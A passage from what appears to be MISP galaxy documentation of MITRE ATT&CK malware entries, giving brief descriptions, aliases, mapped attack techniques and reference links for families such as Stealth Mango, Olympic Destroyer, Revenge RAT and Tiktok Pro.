- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5160. Table References

Links
https://attack.mitre.org/software/S0362
https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat

Stealth Mango - S0328

[Stealth Mango](https://attack.mitre.org/software/S0328) is Android malware that has reportedly been used to successfully compromise the mobile devices of government officials, members of the military, medical professionals, and civilians. The iOS malware known as [Tangelo](https://attack.mitre.org/software/S0329) is believed to be from the same developer. (Citation: Lookout-StealthMango)

The tag is: *misp-galaxy:mitre-malware="Stealth Mango - S0328"*

Stealth Mango - S0328 is also known as:

- Stealth Mango

View relationships graph

Stealth Mango - S0328 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1474" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456" with estimative-language:likelihood-probability="almost-certain"

Table 5161. Table References

Links
https://attack.mitre.org/software/S0328
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf

Corona Updates - S0425

[Corona Updates](https://attack.mitre.org/software/S0425) is Android spyware that took advantage of the Coronavirus pandemic. The campaign distributing this spyware is tracked as Project Spy. Multiple variants of this spyware have been discovered to have been hosted on the Google Play Store.(Citation: TrendMicro Coronavirus Updates)

The tag is: *misp-galaxy:mitre-malware="Corona Updates - S0425"*

Corona Updates - S0425 is also known as:

- Corona Updates
- Wabi Music
- Concipit1248

View relationships graph

Corona Updates - S0425 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5162. Table References

Links
https://attack.mitre.org/software/S0425
https://blog.trendmicro.com/trendlabs-security-intelligence/coronavirus-update-app-leads-to-project-spy-android-and-ios-spyware/

Gold Dragon - S0249

[Gold Dragon](https://attack.mitre.org/software/S0249) is a Korean-language, data gathering implant that was first observed in the wild in South Korea in July 2017. [Gold Dragon](https://attack.mitre.org/software/S0249) was used along with [Brave Prince](https://attack.mitre.org/software/S0252) and [RunningRAT](https://attack.mitre.org/software/S0253) in operations targeting organizations associated with the 2018 Pyeongchang Winter Olympics. (Citation: McAfee Gold Dragon)

The tag is: *misp-galaxy:mitre-malware="Gold Dragon - S0249"*

Gold Dragon - S0249 is also known as:

- Gold Dragon

View relationships graph

Gold Dragon - S0249 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-

language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5163. Table References

Links
https://attack.mitre.org/software/S0249
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Caterpillar WebShell - S0572

[Caterpillar WebShell](https://attack.mitre.org/software/S0572) is a self-developed Web Shell tool created by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123).(Citation: ClearSky Lebanese Cedar Jan 2021)

The tag is: *misp-galaxy:mitre-malware="Caterpillar WebShell - S0572"*

Caterpillar WebShell - S0572 is also known as:

- Caterpillar WebShell

View relationships graph

Caterpillar WebShell - S0572 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5164. Table References

Links
https://attack.mitre.org/software/S0572

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf
https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf

Cobian RAT - S0338

[Cobian RAT](https://attack.mitre.org/software/S0338) is a backdoor, remote access tool that has been observed since 2016.(Citation: Zscaler Cobian Aug 2017)

The tag is: *misp-galaxy:mitre-malware="Cobian RAT - S0338"*

Cobian RAT - S0338 is also known as:

- Cobian RAT

View relationships graph

Cobian RAT - S0338 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5165. Table References

Links
https://attack.mitre.org/software/S0338
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

Cardinal RAT - S0348

[Cardinal RAT](https://attack.mitre.org/software/S0348) is a potentially low volume remote access trojan (RAT) observed since December 2015. [Cardinal RAT](https://attack.mitre.org/software/S0348) is notable for its unique utilization of uncompiled C# source code and the Microsoft Windows built-in csc.exe compiler.(Citation: PaloAlto CardinalRat Apr 2017)

The tag is: *misp-galaxy:mitre-malware="Cardinal RAT - S0348"*

Cardinal RAT - S0348 is also known as:

- Cardinal RAT

View relationships graph

Cardinal RAT - S0348 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Library - T1560.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5166. Table References

Links
https://attack.mitre.org/software/S0348
https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/

Golden Cup - S0535

[Golden Cup](https://attack.mitre.org/software/S0535) is Android spyware that has been used to target World Cup fans.(Citation: Symantec GoldenCup)

The tag is: *misp-galaxy:mitre-malware="Golden Cup - S0535"*

Golden Cup - S0535 is also known as:

- Golden Cup

View relationships graph

Golden Cup - S0535 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1532" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5167. Table References

Links
https://attack.mitre.org/software/S0535
https://symantec-enterprise-blogs.security.com/blogs/expert-perspectives/goldencup-new-cyber-threat-targeting-world-cup-fans

Olympic Destroyer - S0365

[Olympic Destroyer](https://attack.mitre.org/software/S0365) is malware that was used by [Sandworm Team](https://attack.mitre.org/groups/G0034) against the 2018 Winter Olympics, held in Pyeongchang, South Korea. The main purpose of the malware was to render infected computer systems inoperable. The malware leverages various native Windows utilities and API calls to carry out its destructive tasks. [Olympic Destroyer](https://attack.mitre.org/software/S0365) has worm-like features to spread itself across a computer network in order to maximize its destructive impact.(Citation: Talos Olympic Destroyer 2018)(Citation: US District Court Indictment GRU Unit 74455 October 2020)

The tag is: *misp-galaxy:mitre-malware="Olympic Destroyer - S0365"*

Olympic Destroyer - S0365 is also known as:

- Olympic Destroyer

View relationships graph

Olympic Destroyer - S0365 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Shutdown/Reboot - T1529" with estimative-language:likelihood-probability="almost-certain"

Table 5168. Table References

Links
https://attack.mitre.org/software/S0365
https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
https://www.justice.gov/opa/press-release/file/1328521/download

Revenge RAT - S0379

[Revenge RAT](https://attack.mitre.org/software/S0379) is a freely available remote access tool written in .NET (C#).(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)

The tag is: *misp-galaxy:mitre-malware="Revenge RAT - S0379"*

Revenge RAT - S0379 is also known as:

- Revenge RAT

View relationships graph

Revenge RAT - S0379 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"

Table 5169. Table References

Links
https://attack.mitre.org/software/S0379
https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/
https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517

Rising Sun - S0448

[Rising Sun](https://attack.mitre.org/software/S0448) is a modular backdoor malware used extensively in Operation [Sharpshooter](https://attack.mitre.org/groups/G0104). The malware has been observed targeting nuclear, defense, energy, and financial services companies across the world. [Rising Sun](https://attack.mitre.org/software/S0448) uses source code from [Lazarus Group](https://attack.mitre.org/groups/G0032)'s Trojan Duuzer.(Citation: McAfee Sharpshooter December 2018)

The tag is: *misp-galaxy:mitre-malware="Rising Sun - S0448"*

Rising Sun - S0448 is also known as:

- Rising Sun

View relationships graph

Rising Sun - S0448 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 5170. Table References

Links
https://attack.mitre.org/software/S0448
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf

JSS Loader - S0648

[JSS Loader](https://attack.mitre.org/software/S0648) is Remote Access Trojan (RAT) with .NET and C++ variants that has been used by [FIN7](https://attack.mitre.org/groups/G0046) since at least 2020.(Citation: eSentire FIN7 July 2021)(Citation: CrowdStrike Carbon Spider August 2021)

The tag is: *misp-galaxy:mitre-malware="JSS Loader - S0648"*

JSS Loader - S0648 is also known as:

- JSS Loader

View relationships graph

JSS Loader - S0648 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5171. Table References

Links
https://attack.mitre.org/software/S0648
https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/
https://www.esentire.com/security-advisories/notorious-cybercrime-gang-fin7-lands-malware-in-law-firm-using-fake-legal-complaint-against-jack-daniels-owner-brown-forman-inc

DEFENSOR ID - S0479

[DEFENSOR ID](https://attack.mitre.org/software/S0479) is a banking trojan capable of clearing a victim’s bank account or cryptocurrency wallet and taking over email or social media accounts. [DEFENSOR ID](https://attack.mitre.org/software/S0479) performs the majority of its malicious functionality by abusing Android’s accessibility service.(Citation: ESET DEFENSOR ID)

The tag is: *misp-galaxy:mitre-malware="DEFENSOR ID - S0479"*

DEFENSOR ID - S0479 is also known as:

- DEFENSOR ID

View relationships graph

DEFENSOR ID - S0479 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"

Table 5172. Table References

Links
https://attack.mitre.org/software/S0479
https://www.welivesecurity.com/2020/05/22/insidious-android-malware-gives-up-all-malicious-features-but-one-gain-stealth/

Tiktok Pro - S0558

[Tiktok Pro](https://attack.mitre.org/software/S0558) is spyware that has been masquerading as the TikTok application.(Citation: Zscaler TikTok Spyware)

The tag is: *misp-galaxy:mitre-malware="Tiktok Pro - S0558"*

Tiktok Pro - S0558 is also known as:

- Tiktok Pro

View relationships graph

Tiktok Pro - S0558 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1603" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
